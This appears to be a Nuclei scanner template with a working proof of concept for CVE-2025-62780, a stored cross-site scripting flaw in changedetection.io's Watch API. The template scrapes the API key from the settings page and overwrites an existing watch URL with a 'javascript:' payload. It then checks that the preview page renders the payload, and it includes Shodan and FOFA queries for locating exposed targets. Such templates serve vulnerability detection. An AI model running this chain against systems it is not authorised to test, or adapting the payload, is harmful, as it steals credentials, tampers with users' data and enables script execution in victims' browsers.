changedetection.io <= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction
PoC
id: CVE-2025-62780
info:
name: ChangeDetection.io <= v0.50.33 - Stored XSS via Watch API
author: 0x_Akoko
severity: medium
description: |
changedetection.io <= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction
impact: |
Attackers can execute arbitrary JavaScript in users' browsers, potentially stealing data or performing actions on behalf of the user.
remediation: |
Update to version 0.50.34 or later.
reference:
- https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4c3j-3h7v-22q9
- https://nvd.nist.gov/vuln/detail/CVE-2025-62780
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
cvss-score: 6.2
cve-id: CVE-2025-62780
epss-score: 0.00431
epss-percentile: 0.36689
cwe-id: CWE-79
metadata:
max-request: 4
verified: true
shodan-query: title:"Change Detection"
fofa-query: title="Change Detection"
tags: cve,cve2025,changedetection,xss,stored,api
variables:
string: "{{to_lower('{{randstr}}')}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "Change Detection", "changedetection.io")'
- 'compare_versions(version, "<= 0.50.33")'
condition: and
internal: true
extractors:
- type: regex
name: version
part: body
internal: true
group: 1
regex:
- 'id="right-sticky">v([0-9.]+)<'
- type: xpath
name: watch_uuid
part: body
internal: true
attribute: id
xpath:
- "//table[contains(@class,'watch-table')]//tbody/tr[1]"
- raw:
- |
GET /settings HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "api-key")'
condition: and
internal: true
extractors:
- type: regex
name: api_key
part: body
internal: true
group: 1
regex:
- 'id="api-key">([a-f0-9]+)</span>'
- raw:
- |
PUT /api/v1/watch/{{watch_uuid}} HTTP/1.1
Host: {{Hostname}}
x-api-key: {{api_key}}
Content-Type: application/json
{"url":"javascript:alert(document.domain)","title":"{{string}}","paused":true}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "OK")'
condition: and
internal: true
- raw:
- |
GET /preview/{{watch_uuid}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "javascript:alert(document.domain)", "{{string}}")'
condition: and
# digest: 4b0a00483046022100a4043c00be7e96e18df6b641f9eccb69066defdfc67d3cc61875c6126582be2802210097635f4bd21ec4ff947447d15f945fa3630132485eff2ec02d903c7254a9f228:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.